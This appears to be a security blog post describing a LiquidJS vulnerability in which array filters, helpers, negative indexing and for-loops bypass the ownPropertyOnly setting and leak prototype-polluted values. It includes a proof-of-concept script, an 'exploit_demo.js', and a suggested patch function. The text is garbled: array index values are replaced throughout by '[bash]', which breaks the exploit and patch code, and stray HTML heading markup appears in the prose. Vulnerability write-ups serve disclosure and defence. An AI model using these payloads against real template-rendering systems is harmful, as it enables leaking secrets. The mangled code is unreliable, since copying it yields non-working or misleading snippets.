Listen to this Post
The LiquidJS template engine provides an security parameter named `ownPropertyOnly` which is designed to prevent rendering engines from accessing prototype-polluted or inherited properties residing on parent scopes. When enabled, standard object property resolutions and positive index property lookups are routed through internal protection checks (readJSProperty()), effectively masking prototype chain extensions like `Object.prototype.secret` or direct index reads such as {{ a
}}</code>. However, multiple non-standard access paths circumvent this validation layer by executing raw native JavaScript collection lookups directly against scope objects. Specifically, array utilities—including negative array indexing (<code>a[-1]</code>), helper properties (<code>.first</code>, <code>.last</code>), template filters (<code>first</code>, <code>last</code>, <code>join</code>, <code>reverse</code>, <code>slice</code>, <code>compact</code>), and standard <code>for</code>-loop iterator routines—materialize array values directly using native object keys without validating if the underlying key belongs exclusively to the instance. As a result, when an attacker achieves prototype pollution across `Array.prototype` (for instance, setting <code>Array.prototype[bash]</code>), sparse or uninitialized template array variables fall back to the inherited values. These bypass mechanisms disclose confidential prototype data during template evaluation even when `ownPropertyOnly: true` is explicitly enforced. <h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">DailyCVE Form:</h2> Platform: LiquidJS Version: Below 10.27.2 Vulnerability: Information Disclosure Severity: Medium date: October 2026 <h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Prediction: Fixed 10.27.2</h2> <h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Analytics</h2> <h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">What Undercode Say:</h2> [bash] npm install [email protected] node poc.js
const { Liquid } = require("liquidjs");
const engine = new Liquid({ ownPropertyOnly: true });
Array.prototype[bash] = "ARRAY_PROTO_POLLUTED";
Object.prototype.secret = "OBJECT_PROTO_POLLUTED";
const a = [];
a.length = 1;
const o = {};
const templates = [
["{{ a[bash] }}", { a }],
["{{ a[-1] }}", { a }],
["{{ o.secret }}", { o }],
["{{ a.first }}", { a }],
["{{ a.last }}", { a }],
["{{ a | first }}", { a }],
["{{ a | last }}", { a }],
["{{ a | join: ',' }}", { a }],
["{{ a | reverse | first }}", { a }],
["{{ a | slice: 0, 1 | join: ',' }}", { a }],
["{{ a | compact | join: ',' }}", { a }],
["{% for x in a %}[{{ x }}]{% endfor %}", { a }]
];
for (const [src, scope] of templates) {
console.log(src, "=>", JSON.stringify(engine.parseAndRenderSync(src, scope)));
}
delete Array.prototype[bash];
delete Object.prototype.secret;
How Exploit: (Educational Purposes!)
cat << 'EOF' > exploit_demo.js
const { Liquid } = require("liquidjs");
// 1. Simulate Prototype Pollution in environment
Object.prototype.pollutedKey = "SENSITIVE_PII_DATA";
Array.prototype[bash] = "LEAKED_SECRET_TOKEN";
// 2. Initialize LiquidJS with security restriction enabled
const engine = new Liquid({ ownPropertyOnly: true });
// 3. Render templates using affected access paths
const targetArray = [];
targetArray.length = 1; // Sparse array instance
console.log("Direct Index Read (Blocked):", engine.parseAndRenderSync("{{ targetArray[bash] }}", { targetArray }));
console.log("Filter Bypass (Disclosed):", engine.parseAndRenderSync("{{ targetArray | first }}", { targetArray }));
console.log("Iteration Bypass (Disclosed):", engine.parseAndRenderSync("{% for item in targetArray %}{{ item }}{% endfor %}", { targetArray }));
EOF
node exploit_demo.js
Protection:
npm install liquidjs@latest
// Patch implementation: Ensure all array indexing validates own properties
function safeGetArrayElement(obj, index, ownPropertyOnly) {
if (ownPropertyOnly && !Object.prototype.hasOwnProperty.call(obj, index)) {
return undefined;
}
return obj[bash];
}
Impact:
Allows attackers who control prototype scope or leverage prior prototype pollution to extract sensitive inherited properties through template processing, bypassing security boundaries set by ownPropertyOnly: true.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

